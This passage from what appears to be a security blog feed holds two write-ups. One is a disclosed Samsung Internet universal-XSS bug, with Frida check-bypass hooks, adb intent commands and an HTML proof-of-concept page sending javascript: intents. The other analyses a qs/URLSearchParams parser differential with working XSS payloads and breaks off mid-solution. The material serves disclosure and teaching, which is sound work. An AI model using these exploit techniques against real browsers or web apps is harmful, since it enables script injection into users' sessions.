        sBrowserTab.addEventListener(new SBrowserTabEventListener() { // from class: com.sec.android.app.sbrowser.main_view.MainViewBixby.1
            @Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
            public void onClosed(SBrowserTab sBrowserTab2) {
                sBrowserTab.removeEventListener(this);
            }
            @Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
            public void onLoadFailed(SBrowserTab sBrowserTab2, int i, String str2) {
                sBrowserTab.removeEventListener(this);
            }
            @Override // com.sec.android.app.sbrowser.sbrowser_tab.SBrowserTabEventListener
            public void onLoadFinished(SBrowserTab sBrowserTab2, String str2) {
                sBrowserTab.loadUrl(str);
                sBrowserTab.removeEventListener(this);
            }
        });
    } else {
        sBrowserTab.loadUrl(str);
    }
}
</code></pre>
<p>This method loads a URL into a browser tab. If no tab exists, it opens the URL in a new tab. If the tab is busy loading a native page, it waits until loading finishes and then loads the URL. Otherwise, the function immediately calls <code>sBrowserTab.loadUrl(str)</code>.</p>
<p>This is the endpoint, and it's our final step in tracing the flow. Now we can map all the steps from beginning to end.</p>
<h1>The Whole Flow Diagram</h1>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769544935337/8fab8763-f112-443c-8475-1480bb7ffef9.png" alt="" style="display:block;margin:0 auto" />

<p>…</p>
<h1>Path 1: Not Exploitable</h1>
<p>So, there was a question: What would happen if we bypassed all those checks and got the JavaScript scheme into our <code>loadUrl</code> method? Would this create a vulnerability, or does it not work that way to become a vulnerability?</p>
<p>To answer this question, we need to bypass three checker functions using Frida and send the intent with adb.</p>
<p>Simply reverse the outputs of all checkers with <code>!result;</code>:</p>
<pre><code class="language-java">var BixbySBrowserLauncherActivity = Java.use("com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity");
BixbySBrowserLauncherActivity["isAllowedPackage"].implementation = function (intent) {
    let result = this["isAllowedPackage"](intent);
    console.log(`\n\nBixbySBrowserLauncherActivity.isAllowedPackage is called: Byppassed!`);
    return !result;
};

var UrlUtils = Java.use("com.sec.android.app.sbrowser.common.utils.UrlUtils");
UrlUtils["isJavascriptSchemeOrInvalidUrl"].implementation = function (str) {
    let result = this["isJavascriptSchemeOrInvalidUrl"](str);
    console.log(`UrlUtils.isJavascriptSchemeOrInvalidUrl is called: Byppassed!`);
    return !result;
};

var UrlUtils = Java.use("com.sec.android.app.sbrowser.common.utils.UrlUtils");
UrlUtils["isForbiddenUri"].implementation = function (uri) {
    let result = this["isForbiddenUri"](uri);
    console.log(`UrlUtils.isForbiddenUri called: Byppassed!`);
    return !result;
};
</code></pre>
<pre><code class="language-bash">adb shell am start \
  -n com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.capsule.BixbySBrowserLauncherActivity \
  -a android.intent.action.VIEW \
  -c android.intent.category.DEFAULT \
  -c android.intent.category.BROWSABLE \
  -d "samsunginternet://com.sec.android.app.sbrowser/AccessWebsite/pathSegments1/pathSegments2/?javascript:alert\(origin\)"
</code></pre>
<p>Result:</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1769540014540/aba08fda-163d-4c60-a1fb-acba441f4821.gif" alt="" style="display:block;margin:0 auto" />

<p>So the answer is yes, if we can bypass the checker functions. Since <code>loadUrl</code> gets the current tab and opens any link, including JavaScript schemes, and executes them on the current page means we have XSS on every website the browser can access, resulting in UXSS. However, we couldn't bypass all those functions :) But it’s not the end of our write-up</p>
<h1>Path2: Exploitable</h1>
<p>Analyzing the whole flow revealed a critical architectural flaw (step 9). The Bixby Launcher eventually passes the request to <code>com.sec.android.app.sbrowser.SBrowserMainActivity</code>.</p>
<p>Upon reviewing the Manifest again, we discovered that <strong>SBrowserMainActivity is also exported:</strong></p>
<pre><code class="language-bash">&lt;activity
    android:theme="@style/MainTheme"
    android:label="@string/app_name_internet"
    android:name="com.sec.android.app.sbrowser.SBrowserMainActivity"
    android:exported="true"
    ...
</code></pre>
<p>What happens if we just call the activity directly?</p>
<p>So we generate the adb command based on this:</p>
<ul>
<li><p><strong>Activity:</strong> <code>com.sec.android.app.sbrowser/.SBrowserMainActivity</code></p>
</li>
<li><p><strong>Action:</strong> <code>com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE</code></p>
</li>
<li><p><strong>Extra String:</strong> <code>extra_access_url "https://google.com"</code></p>
</li>
<li><p><strong>Extra Boolean:</strong> <code>extra_by_capsule true</code></p>
</li>
</ul>
<pre><code class="language-bash">adb shell am start \
  -n com.sec.android.app.sbrowser/.SBrowserMainActivity \
  -a com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE \
  --es extra_access_url "https://google.com" \
  --ez extra_by_capsule true
</code></pre>
<p>The SBrowser simply opened Google.com, and it worked; the Sink was the same!</p>
<p>However, we weren't sure if there were any checks or protections in place, so we needed to find out. The hard way would be to read the entire source code and trace the input to this point, but the easy way is to test the last payload to see if it works.</p>
<p>So, we simply change <code>https://google.com</code> to <code>javascript:alert(origin)</code>:</p>
<pre><code class="language-bash">adb shell am start \
  -n com.sec.android.app.sbrowser/.SBrowserMainActivity \
  -a com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE \
  --es extra_access_url "javascript:alert\(origin\)" \
  --ez extra_by_capsule true
</code></pre>
<p>And finally, we saw the origin pop-ups appear on Google.com :)</p>
<p>Why Google.com? Because the previous tab opened was google.com, and if you remember, it gets the current tab and runs the JavaScript.</p>
<p>By sending this intent directly to the exported <code>SBrowserMainActivity</code>, an attacker can trigger a UXSS. This allows arbitrary JavaScript to run on all websites that SBrowser can open!</p>
<h1>Proof of Concept:</h1>
<p><strong>We first need to open the targeted website we want to exploit. For example, in the exploit code, we first send an intent to open google.com and then use a second intent to exploit it.</strong></p>
<pre><code class="language-xml">
&lt;!doctype html&gt;
&lt;html&gt;
  &lt;body&gt;
    &lt;button id="openTwo" style="font-size:2em; padding:1em 2em;"&gt;Exploit&lt;/button&gt;
    &lt;script&gt;
    const link1 = "intent://com.sec.android.app.sbrowser/SBrowserMainActivity#Intent;component=com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.SBrowserMainActivity;action=com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE;S.extra_access_url=https%3A%2f%2fwww.google.com;B.extra_by_capsule=true;B.language_code=true;end";
    const link2 = "intent://com.sec.android.app.sbrowser/SBrowserMainActivity#Intent;component=com.sec.android.app.sbrowser/com.sec.android.app.sbrowser.SBrowserMainActivity;action=com.sec.android.app.sbrowser.INTENT_ACCESS_WEBSITE;S.extra_access_url=javascript%3Aalert(origin);B.extra_by_capsule=true;B.language_code=true;end";
    setTimeout(() =&gt; {
        window.location.href =link1 ;
        for (let i = 0; i &lt; 5; i++) {
        setTimeout(() =&gt; {
            window.location.href = link2;
        }, 800 * (i + 1));
    }
    }, 500);

    &lt;/script&gt;
  &lt;/body&gt;
&lt;/html&gt;
</code></pre>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770202460648/175ddf60-7626-45c2-87e2-bf95f4c0a89f.gif" alt="" style="display:block;margin:0 auto" />

<h1>Timeline</h1>
<p>7 September 2025 → Bug reported to Samsung Security</p>
<p>29 September 2025 → Bug acknowledged</p>
<p>2 December 2025 → $2,700 bounty awarded</p>
<p>13 January 2026 → Bug fixed</p>
<h1><strong>Conclusion</strong></h1>
<p>In terms of technical and communication skills, the Samsung team was professional, and we had a good experience with them. However, the bounty amount did not meet our expectations. Honestly speaking, we are not going to work on Samsung anymore. I hope they increase the amount of bounties because it's like an investment in hackers!</p>
]]></content:encoded></item><item><title><![CDATA[When Two Parsers Disagree: Exploiting Query String Differentials for XSS]]></title><description><![CDATA[When you spend enough time hunting for vulnerabilities in real-world applications, you start seeing the same patterns over and over again. One pattern that kept showing up in my audits was this: the backend receives some user input, validates it care...]]></description><link>https://blog.voorivex.team/when-two-parsers-disagree-exploiting-query-string-differentials-for-xss</link><guid isPermaLink="true">https://blog.voorivex.team/when-two-parsers-disagree-exploiting-query-string-differentials-for-xss</guid><category><![CDATA[Inconsistency]]></category><category><![CDATA[Cross-Site Scripting (XSS)]]></category><dc:creator><![CDATA[Amirmohammad Safari]]></dc:creator><pubDate>Tue, 10 Feb 2026 20:38:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1770746600938/9be0816d-244b-4621-b486-394a7d215dad.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>When you spend enough time hunting for vulnerabilities in real-world applications, you start seeing the same patterns over and over again. One pattern that kept showing up in my audits was this: the backend receives some user input, validates it carefully, decides <em>"yep, this looks safe"</em> and then the frontend takes that same raw input and uses it to do something; like redirect the user, render content, or make a decision.</p>
<p>The developers assume “<em>We already checked this on the server. It's fine.”</em> But here's the thing; what if the server and the browser don't agree on what the input actually says?</p>
<p>That question lived in my head for a while. Eventually, I decided to turn it into a challenge. On February 8th, I published it on my <a target="_blank" href="https://x.com/AmirMSafari/status/2020569860472750512">X account</a> for anyone brave enough to give it a shot. The challenge was 20 lines of Node.js code. It looked simple and had <strong>two</strong> completely different solutions.</p>
<p>Thanks to everyone who participated and tried to crack it. Now, let's break the whole thing down together, from the source code, all the way to the final exploit.</p>
<h1 id="heading-reading-the-challenge-source-code">Reading the Challenge Source Code</h1>
<p>The first step in any challenge is to read the code carefully. Not skim it. Actually read it. Let's go line by line. Here's the entire challenge:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> express = <span class="hljs-built_in">require</span>(<span class="hljs-string">'express'</span>);
<span class="hljs-keyword">const</span> app = express();

app.set(<span class="hljs-string">'query parser'</span>, <span class="hljs-string">'extended'</span>);

app.get(<span class="hljs-string">'/'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> redirectUri = req.query.redirect_uri;

  <span class="hljs-keyword">if</span> (!redirectUri) {
    <span class="hljs-keyword">return</span> res.send(<span class="hljs-string">"redirect_uri is required"</span>);
  }

  <span class="hljs-keyword">if</span> (redirectUri !== <span class="hljs-string">"https://pwnbox.xyz/docs"</span>) {
    <span class="hljs-keyword">return</span> res.send(<span class="hljs-string">"Invalid redirect_uri"</span>);
  }

  <span class="hljs-keyword">return</span> res.send(<span class="hljs-string">`
    &lt;script&gt;
      location = new URLSearchParams(window.location.search).get("redirect_uri");
    &lt;/script&gt;
  `</span>);
});

app.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Listening on port 3000'</span>));
</code></pre>
<p>That’s it. It may seem simple, but there’s more under the hood. Let me break down what each part does.</p>
<h2 id="heading-the-framework">The Framework</h2>
<p>The app is built with Node.js and Express.js. Nothing unusual here; Express is one of the most popular web frameworks in the Node ecosystem. Millions of applications use it every day.</p>
<h2 id="heading-the-query-parser-setting">The Query Parser Setting</h2>
<p>This line is easy to skip over, but it's actually one of the most important lines in the entire challenge. We'll come back to it soon. For now, just remember: when Express is told to use the <code>extended</code> query parser, it switches from the basic built-in parser to a library called <code>qs</code>. This library is much more powerful; it can handle nested objects, arrays, bracket notation, and all kinds of fancy stuff.</p>
<p>Keep that in the back of your mind. It matters. A lot.</p>
<h2 id="heading-the-route-logic">The Route Logic</h2>
<p>The application has a single route; the root path <code>/</code>. When you visit it, here's what happens:</p>
<ol>
<li><p><strong>Extract the parameter:</strong> It grabs <code>redirect_uri</code> from the parsed query string.</p>
</li>
<li><p><strong>Check if it exists:</strong> If there's no <code>redirect_uri</code> at all, you get the message <code>redirect_uri is required.</code></p>
</li>
<li><p><strong>Strict validation:</strong> If <code>redirect_uri</code> is not exactly equal to <code>https://pwnbox.xyz/docs</code>, you get <code>Invalid redirect_uri.</code> This uses <code>!==</code>, JavaScript's strict inequality operator. The value must be that exact string, character for character.</p>
</li>
<li><p><strong>Render the page:</strong> If (and only if) the check passes, the server sends back an HTML page containing a small inline script.</p>
</li>
</ol>
<h2 id="heading-the-inline-script">The Inline Script</h2>
<p>This is where the second parser comes to challenge:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
  location = <span class="hljs-keyword">new</span> URLSearchParams(<span class="hljs-built_in">window</span>.location.search).get(<span class="hljs-string">"redirect_uri"</span>);
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This script runs in the browser, not on the server. It does the following:</p>
<ul>
<li><p>Takes <code>window.location.search</code>, the raw query string from the browser's address bar</p>
</li>
<li><p>Parses it using <code>URLSearchParams</code>, the browser's built-in query string parser</p>
</li>
<li><p>Gets the value of <code>redirect_uri</code></p>
</li>
<li><p>Sets <code>location</code> to that value, which causes the browser to navigate to it</p>
</li>
</ul>
<p>The developer's intention is clear: the backend already verified that <code>redirect_uri</code> is <code>https://pwnbox.xyz/docs</code>, so the browser should just redirect there. Safe and simple. Right?</p>
<h2 id="heading-spotting-the-crack">Spotting the Crack</h2>
<p>Okay, so let's think about this like an attacker. What do we control? We control the URL; specifically, the query string. Our input flows into two places:</p>
<ol>
<li><p><strong>The backend</strong>: Express parses the query string using <code>qs</code> and checks the value</p>
</li>
<li><p><strong>The frontend</strong>: The browser parses the same query string using <code>URLSearchParams</code> and uses the value</p>
</li>
</ol>
<p>Here's the critical question: What if these two parsers read the same query string but come up with different answers?</p>
<p>If we could somehow make the backend see <code>redirect_uri = "https://pwnbox.xyz/docs"</code> (to pass the check) while the browser sees <code>redirect_uri = "javascript:alert(origin)"</code> (to trigger XSS), we would win.</p>
<p>Sounds impossible? Let's see. To find our exploit, we need to understand exactly how each parser works.</p>
<h1 id="heading-how-express-uses-the-qs-library">How Express Uses the <code>qs</code> Library</h1>
<p>Before we dive into <code>qs</code> itself, let's quickly trace how Express use it. This context helps us understand what options are being used, which turns out to be important.</p>
<p>When you access <code>req.query</code>, Express lazily gets the raw query string and runs it through the parser function. That function was set up by <code>compileQueryParser</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">exports</span>.compileQueryParser = <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">compileQueryParser</span>(<span class="hljs-params">val</span>) </span>{
  <span class="hljs-keyword">var</span> fn;

  <span class="hljs-keyword">if</span> (<span class="hljs-keyword">typeof</span> val === <span class="hljs-string">'function'</span>) {
    <span class="hljs-keyword">return</span> val;
  }

  <span class="hljs-keyword">switch</span> (val) {
    <span class="hljs-keyword">case</span> <span class="hljs-literal">true</span>:
    <span class="hljs-keyword">case</span> <span class="hljs-string">'simple'</span>:
      fn = querystring.parse;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-literal">false</span>:
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">'extended'</span>:
      fn = parseExtendedQueryString;
      <span class="hljs-keyword">break</span>;
    <span class="hljs-keyword">default</span>:
      <span class="hljs-keyword">throw</span> <span class="hljs-keyword">new</span> <span class="hljs-built_in">TypeError</span>(<span class="hljs-string">'unknown value for query parser function: '</span> + val);
  }

  <span class="hljs-keyword">return</span> fn;
}
</code></pre>
<p>When the value is <code>'extended'</code>, it selects the <code>parseExtendedQueryString</code> function. Let's see what that does:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseExtendedQueryString</span>(<span class="hljs-params">str</span>) </span>{
  <span class="hljs-keyword">return</span> qs.parse(str, {
    <span class="hljs-attr">allowPrototypes</span>: <span class="hljs-literal">true</span>
  });
}
</code></pre>
<p>So Express calls <code>qs.parse()</code> with a single non-default option: <code>allowPrototypes: true</code>. Everything else uses <code>qs</code> defaults.</p>
<p>This means the following default settings are active:</p>
<ul>
<li><p><strong>depth:</strong> 5 (maximum nesting level)</p>
</li>
<li><p><strong>arrayLimit:</strong> 20 (maximum array index)</p>
</li>
<li><p><strong>delimiter:</strong> <code>'&amp;'</code> (what separates parameters)</p>
</li>
<li><p><strong>parameterLimit:</strong> 1000 (maximum number of parameters to parse)</p>
</li>
<li><p><strong>allowPrototypes:</strong> <code>true</code> (the only non-default)</p>
</li>
</ul>
<p>One of these defaults, <code>parameterLimit</code>, will turn out to be critical. But we'll get there.</p>
<h1 id="heading-inside-the-qs-parser-a-deep-dive">Inside the <code>qs</code> Parser, A Deep Dive</h1>
<p>This is where things get really interesting. The <code>qs</code> library parses query strings in a pipeline of steps. Let's walk through each one, because the exploit hides inside specific steps.</p>
<h2 id="heading-step-1-entry-point-and-options">Step 1: Entry Point and Options</h2>
<p>When <code>qs.parse(str, options)</code> is called, it first normalizes the options. A function called <code>normalizeParseOptions</code> merges whatever you passed in with the defaults, validates everything, and prepares for parsing. Nothing exciting here; just setup work.</p>
<h2 id="heading-step-2-split-the-string-into-keyvalue-pairs">Step 2: Split the String into Key/Value Pairs</h2>
<p>The parser takes the raw query string and splits it by the delimiter (which is <code>&amp;</code> by default).</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> parts = cleanStr.split(options.delimiter, options.parameterLimit);
</code></pre>
<p>So a query string like:</p>
<pre><code class="lang-plaintext">name=alice&amp;age=30&amp;city=tokyo
</code></pre>
<p>Gets split into three parts:</p>
<pre><code class="lang-plaintext">["name=alice", "age=30", "city=tokyo"]
</code></pre>
<p>Still straightforward. But here's the first important detail: <code>qs</code> only processes up to <code>parameterLimit</code> parts. The default limit is 1000. If your query string has 1500 parameters separated by <code>&amp;</code>, <code>qs</code> will only look at the first 1000 and silently ignore the rest.</p>
<h2 id="heading-step-3-finding-the-separator-critical-for-solution-1">Step 3: Finding the <code>=</code> Separator, Critical for Solution 1</h2>
<p>For each part, the parser needs to figure out where the key ends and the value begins. You'd think this is simple; just find the first <code>=</code> sign. Everything before it is the key, everything after it is the value.</p>
<p>That's how <code>URLSearchParams</code> works. Simple, predictable, no surprises.</p>
<p>But <code>qs</code> was designed to handle complex bracket notation like <code>user[name]=alice</code> or <code>items[0]=apple</code>. Because of this, it has a <strong>special rule</strong> for finding the <code>=</code> separator. Here are the lines of code that make our first exploit possible:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i &lt; parts.length; ++i) {
    part = parts[i];

    <span class="hljs-keyword">var</span> bracketEqualsPos = part.indexOf(<span class="hljs-string">']='</span>);
    <span class="hljs-keyword">var</span> pos = bracketEqualsPos === <span class="hljs-number">-1</span>
        ? part.indexOf(<span class="hljs-string">'='</span>)       <span class="hljs-comment">// Normal: use the first '='</span>
        : bracketEqualsPos + <span class="hljs-number">1</span>;   <span class="hljs-comment">// Bracket: use the '=' AFTER ']'</span>

    <span class="hljs-keyword">var</span> key, val;
    <span class="hljs-keyword">if</span> (pos === <span class="hljs-number">-1</span>) {
        key = options.decoder(part, defaults.decoder, charset, <span class="hljs-string">'key'</span>);
        val = options.strictNullHandling ? <span class="hljs-literal">null</span> : <span class="hljs-string">''</span>;
    } <span class="hljs-keyword">else</span> {
        key = options.decoder(part.slice(<span class="hljs-number">0</span>, pos), defaults.decoder, charset, <span class="hljs-string">'key'</span>);
        val = options.decoder(part.slice(pos + <span class="hljs-number">1</span>), defaults.decoder, charset, <span class="hljs-string">'value'</span>);
    }

    <span class="hljs-comment">// ...store the key/value pair...</span>
}
</code></pre>
<p>In plain English:</p>
<ol>
<li><p>First, <code>qs</code> searches for the sequence <code>]=</code> anywhere in the string</p>
</li>
<li><p>If <code>]=</code> is not found, it falls back to normal behavior; split at the first <code>=</code></p>
</li>
<li><p>If <code>]=</code> is found, it uses the <code>=</code> that comes right after the <code>]</code> as the split point</p>
</li>
</ol>
<p>But here's the thing, the code doesn't check whether <code>]=</code> is in a reasonable position. It just searches the entire string. If <code>]=</code> appears somewhere in what a human would consider the value, <code>qs</code> doesn't care. It still uses that <code>=</code> as the split point. The <code>]=</code> has more priority than <code>=</code> sign, always.</p>
<h2 id="heading-steps-4-and-5-nesting-and-merging-critical-for-solution-2">Steps 4 and 5: Nesting and Merging, Critical for Solution 2</h2>
<p>After splitting each part into a key and value, <code>qs</code> processes the keys further.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> parseKeys = <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">parseQueryStringKeys</span>(<span class="hljs-params">givenKey, val, options, valuesParsed</span>) </span>{
    <span class="hljs-keyword">if</span> (!givenKey) {
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-keyword">var</span> keys = splitKeyIntoSegments(givenKey, options);

    <span class="hljs-keyword">if</span> (!keys) {
        <span class="hljs-keyword">return</span>;
    }

    <span class="hljs-keyword">return</span> parseObject(keys, val, options, valuesParsed);
};
</code></pre>
<p>If a key contains bracket notation, <code>qs</code> decomposes it into segments. Here's the behavior:</p>
<pre><code class="lang-plaintext">Key: "[redirect_uri]"  →  Segments: ["[redirect_uri]"]
Key: "a[b][c]"         →  Segments: ["a", "[b]", "[c]"]
</code></pre>
<p><strong>Build nested objects (inside-out):</strong> The function <code>parseObject</code> takes the chain and builds the object from the inside out, starting with the innermost segment:</p>
<pre><code class="lang-plaintext">chain = ["a", "[b]", "[c]"], value = "1"

Step 1 (i=2): key = "c"   →  { c: "1" }
Step 2 (i=1): key = "b"   →  { b: { c: "1" } }
Step 3 (i=0): key = "a"   →  { a: { b: { c: "1" } } }

---

chain = ["[redirect_uri]"], value = "https://pwnbox.xyz/docs"

Step 1 (i=0): key = "redirect_uri"   →  { redirect_uri: "https://pwnbox.xyz/docs" }
</code></pre>
<p>Notice the second example. <code>[redirect_uri]</code> with brackets gets treated as a property called <code>redirect_uri</code>. The brackets are stripped. So in the final <code>req.query</code> object, <code>[redirect_uri]=value</code> and <code>redirect_uri=value</code> both end up setting <code>req.query.redirect_uri</code>.</p>
<p>But <code>URLSearchParams</code>? It doesn't know about bracket notation at all. To <code>URLSearchParams</code>, the key <code>[redirect_uri]</code> is literally the string <code>[redirect_uri]</code>; brackets included. It's a completely different key from <code>redirect_uri</code>.</p>
<p>There's our second parser differential :)</p>
<h2 id="heading-step-6-merge-and-compact">Step 6: Merge and Compact</h2>
<p>Each key/value pair produces its own small nested object. These get deep-merged together using <code>utils.merge()</code>, and sparse arrays get cleaned up by <code>utils.compact()</code>:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">var</span> tempObj = <span class="hljs-keyword">typeof</span> str === <span class="hljs-string">'string'</span> ? parseValues(str, options) : str;
<span class="hljs-keyword">var</span> obj = options.plainObjects ? <span class="hljs-built_in">Object</span>.create(<span class="hljs-literal">null</span>) : {};

<span class="hljs-keyword">var</span> keys = <span class="hljs-built_in">Object</span>.keys(tempObj);
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">var</span> i = <span class="hljs-number">0</span>; i &lt; keys.length; ++i) {
    <span class="hljs-keyword">var</span> key = keys[i];
    <span class="hljs-keyword">var</span> newObj = parseKeys(key, tempObj[key], options);
    obj = utils.merge(obj, newObj, options);
}

<span class="hljs-keyword">return</span> utils.compact(obj);

<span class="hljs-comment">// For example: { a: { b: "1" } }  +  { c: "2" }  →  merge()  →  { a: { b: "1" }, c: "2" }</span>
</code></pre>
<p>One important behavior during merging is if two parameters have the same key, <code>qs</code> combines them into an <strong>array</strong>. So <code>redirect_uri=foo&amp;redirect_uri=bar</code> produces <code>{ redirect_uri: ["foo", "bar"] }</code>.</p>
<h1 id="heading-understanding-the-browsers-parser">Understanding the Browser's Parser</h1>
<p>Before we build our exploits, let's quickly cover how <code>URLSearchParams</code> works. It's refreshingly simple compared to <code>qs</code>:</p>
<ol>
<li><p>Strip the leading <code>?</code> if present</p>
</li>
<li><p>Split the string on <code>&amp;</code></p>
</li>
<li><p>For each part, split at the <strong>first</strong> <code>=</code>; everything before it is the key, everything after it is the value</p>
</li>
<li><p>No bracket notation. No nesting. No depth limits. No parameter limits. <code>[foo]</code> is literally the key <code>[foo]</code></p>
</li>
<li><p>When <code>.get(key)</code> is called with a key that appears multiple times, it returns the <strong>first</strong> match</p>
</li>
</ol>
<p>That's it. No special rules. No <code>]=</code> priority. No bracket stripping. What you see is what you get.</p>
<p>Now we have all the pieces. Let's build some exploits.</p>
<h1 id="heading-solution-1-the-priority-trick">Solution 1: The <code>]=</code> Priority Trick</h1>
<p>Let's go back to that <code>]=</code> rule we found in <code>qs</code>. Remember, if <code>qs</code> sees <code>]=</code> anywhere in a string, it uses that <code>=</code> to split key from value, not the first one. What if we use this against it?</p>
<p>Here's the idea. What if we put <code>]=</code> somewhere inside a value that also starts with <code>redirect_uri=</code>? The browser would split at the first <code>=</code> and think the key is <code>redirect_uri</code>. But <code>qs</code> would skip that first <code>=</code>, find our <code>]=</code> later in the string, and split there instead. Same string. Two different split points. Two different keys.</p>
<p>Let's try it. Here's the payload:</p>
<pre><code class="lang-plaintext">/?redirect_uri=javascript:alert(origin)//?x]=x&amp;redirect_uri=https://pwnbox.xyz/docs
</code></pre>
<p>We have two parameters. Let's see what each parser does with them, starting with the backend.</p>
<p><strong>What qs sees?</strong><br /><code>qs</code> splits on <code>&amp;</code> and picks up the first part: <code>redirect_uri=javascript:alert(origin)//?x]=x</code>.</p>
<p>Now it needs to find the <code>=</code> that separates the key from the value. So it searches for <code>]=</code> first. And it finds one; the <code>x]=x</code> at the end.</p>
<ul>
<li><p>qs decides the real <code>=</code> is the one after <code>]</code></p>
</li>
<li><p>That means everything to the left (<code>redirect_uri=javascript:alert(origin)//?x]</code>) becomes the <strong>key</strong></p>
</li>
<li><p>And <code>x</code> becomes the <strong>value</strong></p>
</li>
</ul>
<p>Wait, what? The whole thing became a key? Yes. One giant, weird, meaningless key. And importantly: this has nothing to do with <code>redirect_uri</code> anymore. It's just some random property name in <code>req.query</code> that nobody will ever reference.</p>
<p>Then <code>qs</code> moves to the second part: <code>redirect_uri=https://pwnbox.xyz/docs</code>. No <code>]=</code> in here, so it uses the first <code>=</code> like normal.</p>
<ul>
<li><p>Key = <code>redirect_uri</code></p>
</li>
<li><p>Value = <code>https://pwnbox.xyz/docs</code></p>
</li>
</ul>
<p>So after all that, <code>req.query.redirect_uri</code> is <code>"https://pwnbox.xyz/docs"</code>. The backend runs its <code>!==</code> check, everything matches, validation passes. The server is happy. It sends the page back to the browser.</p>
<p><strong>What the browser sees?</strong><br />Now the browser runs the inline <code>&lt;script&gt;</code>. <code>URLSearchParams</code> gets the same query string. But it doesn’t know anything about <code>]=</code>. It just splits at the first <code>=</code>, always.</p>
<p>First part: <code>redirect_uri=javascript:alert(origin)//?x]=x</code></p>
<ul>
<li><p>Key = <code>redirect_uri</code></p>
</li>
<li><p>Value = <code>javascript:alert(origin)//?x]=x</code></p>
</li>
</ul>
<p>Second part: <code>redirect_uri=https://pwnbox.xyz/docs</code></p>
<ul>
<li><p>Key = <code>redirect_uri</code></p>
</li>
<li><p>Value = <code>https://pwnbox.xyz/docs</code></p>
</li>
</ul>
<p>Now the code calls <code>.get("redirect_uri")</code>. There are two matches; <code>.get()</code> returns the <strong>first</strong> one, which is <code>javascript:alert(origin)//?x]=x</code>.</p>
<p>The browser sets <code>location</code> to this string. It starts with <code>javascript:</code>, so the browser runs everything after <code>javascript:</code> as code. So it evaluates: <code>alert(origin)//?x]=x</code>. The alert box pops up and XSS achieved.</p>
<p>That's Solution 1. Short payload, two parameters, and the whole thing works because <code>qs</code> gives <code>]=</code> more priority than <code>=</code> when deciding where to split.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1770733079084/b30e9be9-520b-4e5f-b781-ce70c0be9be9.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-solution-2-bracket-stripping-parameter-limit-trick">Solution 2: Bracket Stripping + Parameter Limit Trick</h1>
<p>This solution takes a completely different road. We're not going to touch the <code>]=</code> splitting logic at all. Instead, we're going to abuse two other things about <code>qs</code>, how it handles brackets, and how many parameters it's willing to read.</p>
<p>Let's start with the bracket thing.</p>
<p>Remember how qs supports bracket notation?<br />If you send <code>user[name]=alice</code>, qs strips the brackets and builds <code>{ user: { name: "alice" } }</code>.</p>
<p>There’s also a simpler case, If you send <code>[redirect_uri]=https://pwnbox.xyz/docs</code>, qs strips the brackets and treats the key as <code>redirect_uri</code>.</p>
<p>But the fun part is <code>URLSearchParams</code> has no idea what brackets mean. To the browser, <code>[redirect_uri]</code> is just the key <code>[redirect_uri]</code>; brackets included. That’s a different key from <code>redirect_uri</code>, so when the browser later calls <code>.get("redirect_uri")</code>, this parameter simply doesn’t match.</p>
<p>So we can feed the safe value to the backend using <code>[redirect_uri]</code>. The backend is happy; the browser ignores it. Half the job done.</p>
<p>Now we need to deliver <code>javascript:alert(origin)</code> to the browser. The obvious idea: just add a normal <code>redirect_uri=javascript:alert(origin)</code>.</p>
<p>But… problem:</p>
<ul>
<li><p><code>qs</code> sees <strong>both</strong> <code>[redirect_uri]=safe</code> and <code>redirect_uri=javascript:alert(origin)</code></p>
</li>
<li><p>It strips brackets from the first one</p>
</li>
<li><p>Now we have two keys with the same name → <code>qs</code> merges them into an array</p>
</li>
<li><p>That turns <code>req.query.redirect_uri</code> into: <code>["https://pwnbox.xyz/docs", "javascript:alert(origin)"]</code></p>
</li>
<li><p>That’s an array, not a string → backend rejects it</p>
</li>
</ul>
<p>So we need the backend (<code>qs</code>) to <strong>never</strong> see the malicious <code>redirect_uri</code>.</p>
<p>How do we hide it? Using the parameter limit! <code>qs</code> has a default <code>parameterLimit</code> of <strong>1000</strong>. It splits the query string on <code>&amp;</code>, processes only the first <strong>1000 parts and</strong> Everything after that? <strong>Silently ignored without any</strong> errors or warnings.</p>
<p>URLSearchParams has <strong>no limit</strong>. It reads everything.</p>
<p>So the plan:</p>
<ol>
<li><p>Put the safe <code>[redirect_uri]=https://pwnbox.xyz/docs</code> <strong>first</strong></p>
</li>
